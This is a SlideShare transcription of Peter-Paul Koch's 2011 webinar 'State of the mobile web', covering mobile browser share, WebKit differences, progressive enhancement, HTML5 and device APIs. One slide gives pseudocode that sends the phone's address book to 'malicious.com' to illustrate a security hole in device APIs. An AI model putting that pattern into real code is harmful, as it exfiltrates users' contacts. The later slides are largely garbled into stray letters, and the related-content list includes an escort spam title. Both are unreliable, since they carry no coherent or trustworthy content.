SlideShare uma empresa Scribd logo
1 de 56
State of
          the mobile web
                   Peter-Paul Koch
             http://quirksmode.org
             http://twitter.com/ppk
Compuware Webinar , 24 March 2011
Mobile First!
• Design your sites for mobile first.
• You’ll be forced to decide what is so
  important that it MUST be shown in the
  mobile device’s tiny display.
• The things you leave out of the mobile
  version don’t really need to be in the
  desktop version, either.
The mobile browsers
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb

          You may groan now.
The mobile browsers
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb

              WebKit-based
WebKit on Mobile
There is no WebKit on mobile!
There's iPhone Safari (2 and 3),
and Android (1.0 and 1.5)
and S60 WebKit (v3 and v5)
and Blackberry WebKit,
and Palm WebKit,
and Bolt, Ozone, Teashark, and a few more


These WebKits are all different.
Exhibit A: WebKit comparison table
http://quirksmode.org/webkit.html
The mobile browsers
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb
The mobile browsers
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb

             Proxy browsers
Proxy browsers
• Page is downloaded to and rendered
  on a specialised server.
• A highly compressed image is sent to
  the client.
• Advantage: cheap, both in device and
  in network costs
• Disadvantage: no client-side
  interactivity
Global stats Q4 2010
                  (by StatCounter)

Safari       23% iOS                      Stable
Opera        22% Many OSs                 Stable
BlackBerry   18% BlackBerry               Down
Nokia        16% Symbian (and S40)        Stable
Android      12% Android                  Up
NetFront     4% Sony Ericsson & Samsung   Stable
Samsung      1% bada                      Up
UCWeb        1% Many OSs                  Down
Others       3%
Browser stats
• Those are GLOBAL stats; they are not
  necessarily correct for the sites you’re
  working on. Always check your stats.
• Social media referrals cause
  disproportionate iPhone visits; and
  Android to a lesser degree.
Stats
(global, Q4 2010)
But usually this is what happens




          Rest? What rest?
Which mobile browsers?
• Safari iPhone
• Opera Mini
• Android WebKit
• US: BlackBerry (WebKit and older)
• Europe: Nokia WebKit
• Dolfin for bada (easy)
• Opera Mobile (easy)
Progressive
        enhancement
How do you deal with this immense
amount of browsers?

Use advanced tricks, but make sure
your site remains usable without them.

The site is enhanced as much as the
browser allows.
Progressive
         enhancement


                   HTML

All browsers support HTML. That’s the definition
of a browser.
Progressive
        enhancement

     Basic CSS


                  HTML

All browsers support most basic CSS. There will
be bugs, but only few.
Progressive
         enhancement
   Advanced CSS

     Basic CSS


                    HTML

Advanced CSS is restricted to advanced
browsers. Make sure it contains nothing vital; just
nice extras.
Progressive
         enhancement
   Advanced CSS

     Basic CSS            Basic JavaScript


                   HTML

All browsers support basic JavaScript, but they
can be slow. Maybe switch off in BB5 and lower.
Progressive
         enhancement
   Advanced CSS          Advanced JavaScript

     Basic CSS             Basic JavaScript


                    HTML

Advanced JavaScript is a problem. Feature
detection is your friend. Make sure it contains
nothing vital.
Progressive
         enhancement
CSS animations? Use them.
If they don’t work, nothing is lost.

Offline storage? Use it.
If it doesn’t work, the user reloads the
site every time. Not perfect, but it works.
Performance
How long does it take to generate 250
lists with 20 items each?

The following graphs give the number of
seconds it took the browsers.

http://quirksmode.org/m/tests/DOMspeed.html
Performance
Performance
HTML5
• Which browsers support HTML5?
• What is HTML5, anyway?
• Ask five web developers and they’ll
  give you five different answers.
HTML5
•   Offline storage
•   Video and audio
•   Canvas
•   New input types
•   Websockets
•   New semantics
•   SVG
•   File API
•   etc. etc. etc.
Offline storage
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb
SVG
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb
New input types
•   Safari iPhone       •   Obigo WebKit
•   Android WebKit      •   Ovi
•   Dolfin for bada     •   Bolt
•   BlackBerry WebKit   •   BlackBerry old
•   Opera Mobile        •   Phantom
•   Opera Mini          •   Obigo old
•   MicroB              •   NetFront
•   Nokia WebKit        •   IE
•   Firefox             •   UCWeb
HTML5
• Which browsers support HTML5?
• It depends.
• HTML5 is mainly a marketing
  buzzword.
• That’s not bad; we need it.
• But it has no technical meaning.
HTML5 apps
• One core app written in HTML,
  CSS, and JavaScript.
• Deployed to several mobile
  platforms.
• Ideally, CSS and JavaScript are
  stored on the device.
• If it can't be deployed it's still a
  website.
Symbian                 Windows Mobile




    I’ve done it. In April 2009.
Device APIs
    • Native apps offer device APIs.
    • They allow you to access the camera,
      accelerometer, SMS, file system, etc.
    • Web apps will have to offer them, too.
device.phone.call(device.addressBook['mom'])
Device APIs
var ab = device.addressBook.toString();
sendRequest(POST,'malicious.com',ab);

There’s a serious security problem here.
Providing trusted apps might remain an app
store function.
Summary
• Mobile First! Design for mobile, and
  your desktop site will become better,
  too.

• Use progressive enhancement. Lots of
  it. It will keep you sane.

• Know which browsers to develop for.
Which mobile browsers?
•   Safari iPhone
•   Opera Mini
•   Android WebKit
•   US: BlackBerry (WebKit and older)
•   Europe: Nokia WebKit

•   Dolfin for bada (easy)
•   Opera Mobile (easy)
Thank you


                  • Peter-Paul Koch
              • http://quirksmode.org
              • http://twitter.com/ppk
• Compuware Webinar , 24 March 2011
W                 
Y              t                  /
D              D              t
    ^   d



    dK WD ^
h       d   t   K   s   K
D                                              D   /
        • D                    ^


                    '            D           /   h   W


                                                                     h
                                                                  D   h
DD
h
/




Source: Mary Meeker, Morgan Stanley
d                                  K          D       ^
•            
      –   D             W       h                          
      –   :
• Z                                 
      – 
      – 
• W         '
      – t                               
      –                                            
        Y
•                          
      – t           d
      – /

• D               K
                                                            K
      – t           /                       Z
      – h
^                                       K                                  D   h
          K D                              t
  




      Y
      D
      



  ^




                                                       t               D



Source: Forrester Research North American Technographics® Benchmark Surveys, Q2 2010
,
     
• /
^       ,   Z   D                    h
   
                •                    E

                        h^
                •        E
                    –            h^


                    –




                • D
h   D      
    /
h       D          
K               E   D
• D

    –

        •




                            ^
W              D                  t           W                 ,       
                                         Z                 t   ^       D       W


                                                                                           Z
                                                                                   

                                                                                           Z
                                                                               W       ^
Z




                                             ^
                                                     • Z
                                                     • /
                                                     • 




                                         W      d

Source: Gomez real user monitoring
Y                          D                t                                           /
                                          ^                                            z                       h                  WKs

                                                               d                            Z
                                                                                            •
                                                                                                           
                                                                                            • 
                                                                                           • ^
                                                                                                                                                  
                                                                               W        W                                           
                                                                                                                             
                                                   • /                                                                      /^W
                                                     •                                                    W
                 s             W                    •                                                   ^                            • W
                                                    t                                                               • E                :   ^
D                     ^                ^             ^                                     D                                           • 
                                                                                             /^W
    • W                                        • E
                                                                                                                       • 
      :           Ed
                                               • 
                                                                                                                                       • W
                                                                                                                       • /              • 
^• ^            ^Y       t                                                •E
                                           E •/                                                        
    • ^                                                                                                
                                                                           •K
                                                                                                       E
        t                          D                           t E
    ^                                                     K                                                                 D
                                                                           •   
                                                                           •   K            WKW                              
                                                                           •   W                                                   
                                                                                                                                                  
                                                                           •                                  • E
                                                                                                               • 
                                                                                                               • ^D^
z      h

• 
      – t
      – K
      – t               'W^

• t

• t
• t

• t

• t
• t
• ,dD
    –



• ^^
    –t


• W
      –      :   ^
      –   W                    :^
      –   D
      –   Z
      –   D               :^
d /
W      W
•
D       t                                        /
        d              z                   h
    E   K                 K^       ^           K^       W   '^
K       t           W
D
• D


• /

      – '
      – /

 W     ^
                W       ^   W
                                    t
,       d         Y   t      /
D         D           t
•

•   

•   d


•   


•   


•        K   t
Y
              
         D         
• /
• Z

• Z


• ^
• Z
• /

• /


• Z           ^ W

                       '

Mais conteúdo relacionado

Semelhante a Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Browser World

Wikipedia Mobile App with PhoneGap
Wikipedia Mobile App with PhoneGapWikipedia Mobile App with PhoneGap
Wikipedia Mobile App with PhoneGapTed Chien
 
Mobeers waterloo-2011
Mobeers waterloo-2011Mobeers waterloo-2011
Mobeers waterloo-2011Brian LeRoux
 
Phonegap for Engineers
Phonegap for EngineersPhonegap for Engineers
Phonegap for EngineersBrian LeRoux
 
I knew there had to be a better way to build mobile apps
I knew there had to be a better way to build mobile appsI knew there had to be a better way to build mobile apps
I knew there had to be a better way to build mobile appsAlius Petraška
 
Appcelerator Titanium Intro
Appcelerator Titanium IntroAppcelerator Titanium Intro
Appcelerator Titanium IntroNicholas Jansma
 
«I knew there had to be a better way to build mobile app»​
«I knew there had to be a better way to build mobile app»​«I knew there had to be a better way to build mobile app»​
«I knew there had to be a better way to build mobile app»​FDConf
 
Html5 - the new kid on the block
Html5 - the new kid on the blockHtml5 - the new kid on the block
Html5 - the new kid on the blockMarian Borca
 
Mobile Web High Performance
Mobile Web High PerformanceMobile Web High Performance
Mobile Web High PerformanceAmjad Rafique
 
HTML5 and the Mobile Web
HTML5 and the Mobile WebHTML5 and the Mobile Web
HTML5 and the Mobile WebMrJ1971
 
HTML 5 & The Modern Web
HTML 5 & The Modern WebHTML 5 & The Modern Web
HTML 5 & The Modern WebJumping Bean
 
PhoneGap at Facebook Mobile Hack
PhoneGap at Facebook Mobile HackPhoneGap at Facebook Mobile Hack
PhoneGap at Facebook Mobile HackPhoneGap
 
The Mobile Web Revealed For The Java Developer
The Mobile Web Revealed For The Java DeveloperThe Mobile Web Revealed For The Java Developer
The Mobile Web Revealed For The Java Developerbalunasj
 
Apache Cordova - State of the Union 2014
Apache Cordova  - State of the Union 2014Apache Cordova  - State of the Union 2014
Apache Cordova - State of the Union 2014Shazron Abdullah
 
Ugly truths about html5 moosecon - robert virkus - 2013-03-07
Ugly truths about html5   moosecon - robert virkus - 2013-03-07Ugly truths about html5   moosecon - robert virkus - 2013-03-07
Ugly truths about html5 moosecon - robert virkus - 2013-03-07Enough Software
 
HTML5のご紹介
HTML5のご紹介HTML5のご紹介
HTML5のご紹介yoshikawa_t
 
Android icecream sandwich
Android icecream sandwichAndroid icecream sandwich
Android icecream sandwichMayur Dharukiya
 
Cross Platform HTML5 Mobile Development
Cross Platform HTML5 Mobile DevelopmentCross Platform HTML5 Mobile Development
Cross Platform HTML5 Mobile DevelopmentRobert 'Bob' Reyes
 

Semelhante a Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Browser World (20)

Wikipedia Mobile App with PhoneGap
Wikipedia Mobile App with PhoneGapWikipedia Mobile App with PhoneGap
Wikipedia Mobile App with PhoneGap
 
Mobeers waterloo-2011
Mobeers waterloo-2011Mobeers waterloo-2011
Mobeers waterloo-2011
 
Phonegap for Engineers
Phonegap for EngineersPhonegap for Engineers
Phonegap for Engineers
 
Future of Mobile
Future of MobileFuture of Mobile
Future of Mobile
 
I knew there had to be a better way to build mobile apps
I knew there had to be a better way to build mobile appsI knew there had to be a better way to build mobile apps
I knew there had to be a better way to build mobile apps
 
Txjs
TxjsTxjs
Txjs
 
Appcelerator Titanium Intro
Appcelerator Titanium IntroAppcelerator Titanium Intro
Appcelerator Titanium Intro
 
«I knew there had to be a better way to build mobile app»​
«I knew there had to be a better way to build mobile app»​«I knew there had to be a better way to build mobile app»​
«I knew there had to be a better way to build mobile app»​
 
Html5 - the new kid on the block
Html5 - the new kid on the blockHtml5 - the new kid on the block
Html5 - the new kid on the block
 
DjangoSki
DjangoSkiDjangoSki
DjangoSki
 
Mobile Web High Performance
Mobile Web High PerformanceMobile Web High Performance
Mobile Web High Performance
 
HTML5 and the Mobile Web
HTML5 and the Mobile WebHTML5 and the Mobile Web
HTML5 and the Mobile Web
 
HTML 5 & The Modern Web
HTML 5 & The Modern WebHTML 5 & The Modern Web
HTML 5 & The Modern Web
 
PhoneGap at Facebook Mobile Hack
PhoneGap at Facebook Mobile HackPhoneGap at Facebook Mobile Hack
PhoneGap at Facebook Mobile Hack
 
The Mobile Web Revealed For The Java Developer
The Mobile Web Revealed For The Java DeveloperThe Mobile Web Revealed For The Java Developer
The Mobile Web Revealed For The Java Developer
 
Apache Cordova - State of the Union 2014
Apache Cordova  - State of the Union 2014Apache Cordova  - State of the Union 2014
Apache Cordova - State of the Union 2014
 
Ugly truths about html5 moosecon - robert virkus - 2013-03-07
Ugly truths about html5   moosecon - robert virkus - 2013-03-07Ugly truths about html5   moosecon - robert virkus - 2013-03-07
Ugly truths about html5 moosecon - robert virkus - 2013-03-07
 
HTML5のご紹介
HTML5のご紹介HTML5のご紹介
HTML5のご紹介
 
Android icecream sandwich
Android icecream sandwichAndroid icecream sandwich
Android icecream sandwich
 
Cross Platform HTML5 Mobile Development
Cross Platform HTML5 Mobile DevelopmentCross Platform HTML5 Mobile Development
Cross Platform HTML5 Mobile Development
 

Mais de Compuware APM

Complexity At The Edge How To Maximize The Mobile Opportunity
Complexity At The Edge  How To Maximize The Mobile OpportunityComplexity At The Edge  How To Maximize The Mobile Opportunity
Complexity At The Edge How To Maximize The Mobile OpportunityCompuware APM
 
Complexity At The Edge How To Maximize The Mobile Opportunity In China
Complexity At The Edge  How To Maximize The Mobile Opportunity In ChinaComplexity At The Edge  How To Maximize The Mobile Opportunity In China
Complexity At The Edge How To Maximize The Mobile Opportunity In ChinaCompuware APM
 
Managing Cost in Public Cloud Environments
Managing Cost in Public Cloud EnvironmentsManaging Cost in Public Cloud Environments
Managing Cost in Public Cloud EnvironmentsCompuware APM
 
Don't Lose Your Viewers: Keep Their Attention With High Performance Streaming
Don't Lose Your Viewers:  Keep Their Attention With High Performance StreamingDon't Lose Your Viewers:  Keep Their Attention With High Performance Streaming
Don't Lose Your Viewers: Keep Their Attention With High Performance StreamingCompuware APM
 
Why Server Virtualization Demands an End-user’s Perspective
Why Server Virtualization Demands an End-user’s PerspectiveWhy Server Virtualization Demands an End-user’s Perspective
Why Server Virtualization Demands an End-user’s PerspectiveCompuware APM
 
Webcast: CIO Insights: How to Optimize User Experience Across 60 Hospitals
Webcast: CIO Insights: How to Optimize User Experience Across 60 Hospitals Webcast: CIO Insights: How to Optimize User Experience Across 60 Hospitals
Webcast: CIO Insights: How to Optimize User Experience Across 60 Hospitals Compuware APM
 
3 Keys to Great Customer Experience When Launching Web and Mobile Applications
3 Keys to Great Customer Experience When Launching Web and Mobile Applications3 Keys to Great Customer Experience When Launching Web and Mobile Applications
3 Keys to Great Customer Experience When Launching Web and Mobile ApplicationsCompuware APM
 
The State Of Mobile Commerce – Are You Meeting Your Mobile Customers’ Expecta...
The State Of Mobile Commerce – Are You Meeting Your Mobile Customers’ Expecta...The State Of Mobile Commerce – Are You Meeting Your Mobile Customers’ Expecta...
The State Of Mobile Commerce – Are You Meeting Your Mobile Customers’ Expecta...Compuware APM
 
Speed Your Apps Launch to Market: Learn Six Best Practices for DevOps
Speed Your Apps Launch to Market: Learn Six Best Practices for DevOpsSpeed Your Apps Launch to Market: Learn Six Best Practices for DevOps
Speed Your Apps Launch to Market: Learn Six Best Practices for DevOpsCompuware APM
 
Recent Survey Reveals that Optimized APM Approaches Increase Business Efficie...
Recent Survey Reveals that Optimized APM Approaches Increase Business Efficie...Recent Survey Reveals that Optimized APM Approaches Increase Business Efficie...
Recent Survey Reveals that Optimized APM Approaches Increase Business Efficie...Compuware APM
 
Web Load Testing for Dummies
Web Load Testing for DummiesWeb Load Testing for Dummies
Web Load Testing for DummiesCompuware APM
 
Measure Twice, Cut Once: 5 Best Practices For Selecting Your Cloud Service Pr...
Measure Twice, Cut Once: 5 Best Practices For Selecting Your Cloud Service Pr...Measure Twice, Cut Once: 5 Best Practices For Selecting Your Cloud Service Pr...
Measure Twice, Cut Once: 5 Best Practices For Selecting Your Cloud Service Pr...Compuware APM
 
How to Mitigate the Performance Risk of Third-party Web Components
How to Mitigate the Performance Risk of Third-party Web ComponentsHow to Mitigate the Performance Risk of Third-party Web Components
How to Mitigate the Performance Risk of Third-party Web ComponentsCompuware APM
 
Optimizing web and mobile site performance using page speed
Optimizing web and mobile site performance using page speedOptimizing web and mobile site performance using page speed
Optimizing web and mobile site performance using page speedCompuware APM
 
Delta Air Lines Shares Best Practices for Becoming a Top Performing Website
Delta Air Lines Shares Best Practices for Becoming a Top Performing WebsiteDelta Air Lines Shares Best Practices for Becoming a Top Performing Website
Delta Air Lines Shares Best Practices for Becoming a Top Performing WebsiteCompuware APM
 
"What Users Want from Mobile - A study of consumers’ mobile web and applicati...
"What Users Want from Mobile - A study of consumers’ mobile web and applicati..."What Users Want from Mobile - A study of consumers’ mobile web and applicati...
"What Users Want from Mobile - A study of consumers’ mobile web and applicati...Compuware APM
 
Are Your Applications Delivering What Your End-Users Expect?
Are Your Applications Delivering What Your End-Users Expect?Are Your Applications Delivering What Your End-Users Expect?
Are Your Applications Delivering What Your End-Users Expect?Compuware APM
 
Managing Complexity Across Today’s Application Delivery Chain:Six key indicat...
Managing Complexity Across Today’s Application Delivery Chain:Six key indicat...Managing Complexity Across Today’s Application Delivery Chain:Six key indicat...
Managing Complexity Across Today’s Application Delivery Chain:Six key indicat...Compuware APM
 
Top Tips To Deliver Quality Mobile Web And App Experiences To Smartphone Users
Top Tips To Deliver Quality Mobile Web And App Experiences To Smartphone UsersTop Tips To Deliver Quality Mobile Web And App Experiences To Smartphone Users
Top Tips To Deliver Quality Mobile Web And App Experiences To Smartphone UsersCompuware APM
 
5 Best Practices for Successful Cloud Deployments – and the Pitfalls to Avoid
5 Best Practices for Successful Cloud Deployments – and the Pitfalls to Avoid5 Best Practices for Successful Cloud Deployments – and the Pitfalls to Avoid
5 Best Practices for Successful Cloud Deployments – and the Pitfalls to AvoidCompuware APM
 

Mais de Compuware APM (20)

Complexity At The Edge How To Maximize The Mobile Opportunity
Complexity At The Edge  How To Maximize The Mobile OpportunityComplexity At The Edge  How To Maximize The Mobile Opportunity
Complexity At The Edge How To Maximize The Mobile Opportunity
 
Complexity At The Edge How To Maximize The Mobile Opportunity In China
Complexity At The Edge  How To Maximize The Mobile Opportunity In ChinaComplexity At The Edge  How To Maximize The Mobile Opportunity In China
Complexity At The Edge How To Maximize The Mobile Opportunity In China
 
Managing Cost in Public Cloud Environments
Managing Cost in Public Cloud EnvironmentsManaging Cost in Public Cloud Environments
Managing Cost in Public Cloud Environments
 
Don't Lose Your Viewers: Keep Their Attention With High Performance Streaming
Don't Lose Your Viewers:  Keep Their Attention With High Performance StreamingDon't Lose Your Viewers:  Keep Their Attention With High Performance Streaming
Don't Lose Your Viewers: Keep Their Attention With High Performance Streaming
 
Why Server Virtualization Demands an End-user’s Perspective
Why Server Virtualization Demands an End-user’s PerspectiveWhy Server Virtualization Demands an End-user’s Perspective
Why Server Virtualization Demands an End-user’s Perspective
 
Webcast: CIO Insights: How to Optimize User Experience Across 60 Hospitals
Webcast: CIO Insights: How to Optimize User Experience Across 60 Hospitals Webcast: CIO Insights: How to Optimize User Experience Across 60 Hospitals
Webcast: CIO Insights: How to Optimize User Experience Across 60 Hospitals
 
3 Keys to Great Customer Experience When Launching Web and Mobile Applications
3 Keys to Great Customer Experience When Launching Web and Mobile Applications3 Keys to Great Customer Experience When Launching Web and Mobile Applications
3 Keys to Great Customer Experience When Launching Web and Mobile Applications
 
The State Of Mobile Commerce – Are You Meeting Your Mobile Customers’ Expecta...
The State Of Mobile Commerce – Are You Meeting Your Mobile Customers’ Expecta...The State Of Mobile Commerce – Are You Meeting Your Mobile Customers’ Expecta...
The State Of Mobile Commerce – Are You Meeting Your Mobile Customers’ Expecta...
 
Speed Your Apps Launch to Market: Learn Six Best Practices for DevOps
Speed Your Apps Launch to Market: Learn Six Best Practices for DevOpsSpeed Your Apps Launch to Market: Learn Six Best Practices for DevOps
Speed Your Apps Launch to Market: Learn Six Best Practices for DevOps
 
Recent Survey Reveals that Optimized APM Approaches Increase Business Efficie...
Recent Survey Reveals that Optimized APM Approaches Increase Business Efficie...Recent Survey Reveals that Optimized APM Approaches Increase Business Efficie...
Recent Survey Reveals that Optimized APM Approaches Increase Business Efficie...
 
Web Load Testing for Dummies
Web Load Testing for DummiesWeb Load Testing for Dummies
Web Load Testing for Dummies
 
Measure Twice, Cut Once: 5 Best Practices For Selecting Your Cloud Service Pr...
Measure Twice, Cut Once: 5 Best Practices For Selecting Your Cloud Service Pr...Measure Twice, Cut Once: 5 Best Practices For Selecting Your Cloud Service Pr...
Measure Twice, Cut Once: 5 Best Practices For Selecting Your Cloud Service Pr...
 
How to Mitigate the Performance Risk of Third-party Web Components
How to Mitigate the Performance Risk of Third-party Web ComponentsHow to Mitigate the Performance Risk of Third-party Web Components
How to Mitigate the Performance Risk of Third-party Web Components
 
Optimizing web and mobile site performance using page speed
Optimizing web and mobile site performance using page speedOptimizing web and mobile site performance using page speed
Optimizing web and mobile site performance using page speed
 
Delta Air Lines Shares Best Practices for Becoming a Top Performing Website
Delta Air Lines Shares Best Practices for Becoming a Top Performing WebsiteDelta Air Lines Shares Best Practices for Becoming a Top Performing Website
Delta Air Lines Shares Best Practices for Becoming a Top Performing Website
 
"What Users Want from Mobile - A study of consumers’ mobile web and applicati...
"What Users Want from Mobile - A study of consumers’ mobile web and applicati..."What Users Want from Mobile - A study of consumers’ mobile web and applicati...
"What Users Want from Mobile - A study of consumers’ mobile web and applicati...
 
Are Your Applications Delivering What Your End-Users Expect?
Are Your Applications Delivering What Your End-Users Expect?Are Your Applications Delivering What Your End-Users Expect?
Are Your Applications Delivering What Your End-Users Expect?
 
Managing Complexity Across Today’s Application Delivery Chain:Six key indicat...
Managing Complexity Across Today’s Application Delivery Chain:Six key indicat...Managing Complexity Across Today’s Application Delivery Chain:Six key indicat...
Managing Complexity Across Today’s Application Delivery Chain:Six key indicat...
 
Top Tips To Deliver Quality Mobile Web And App Experiences To Smartphone Users
Top Tips To Deliver Quality Mobile Web And App Experiences To Smartphone UsersTop Tips To Deliver Quality Mobile Web And App Experiences To Smartphone Users
Top Tips To Deliver Quality Mobile Web And App Experiences To Smartphone Users
 
5 Best Practices for Successful Cloud Deployments – and the Pitfalls to Avoid
5 Best Practices for Successful Cloud Deployments – and the Pitfalls to Avoid5 Best Practices for Successful Cloud Deployments – and the Pitfalls to Avoid
5 Best Practices for Successful Cloud Deployments – and the Pitfalls to Avoid
 

Último

The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsJoaquim Jorge
 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessPixlogix Infotech
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Enterprise Knowledge
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?Igalia
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 

Último (20)

The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your Business
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
Boost PC performance: How more available memory can improve productivity
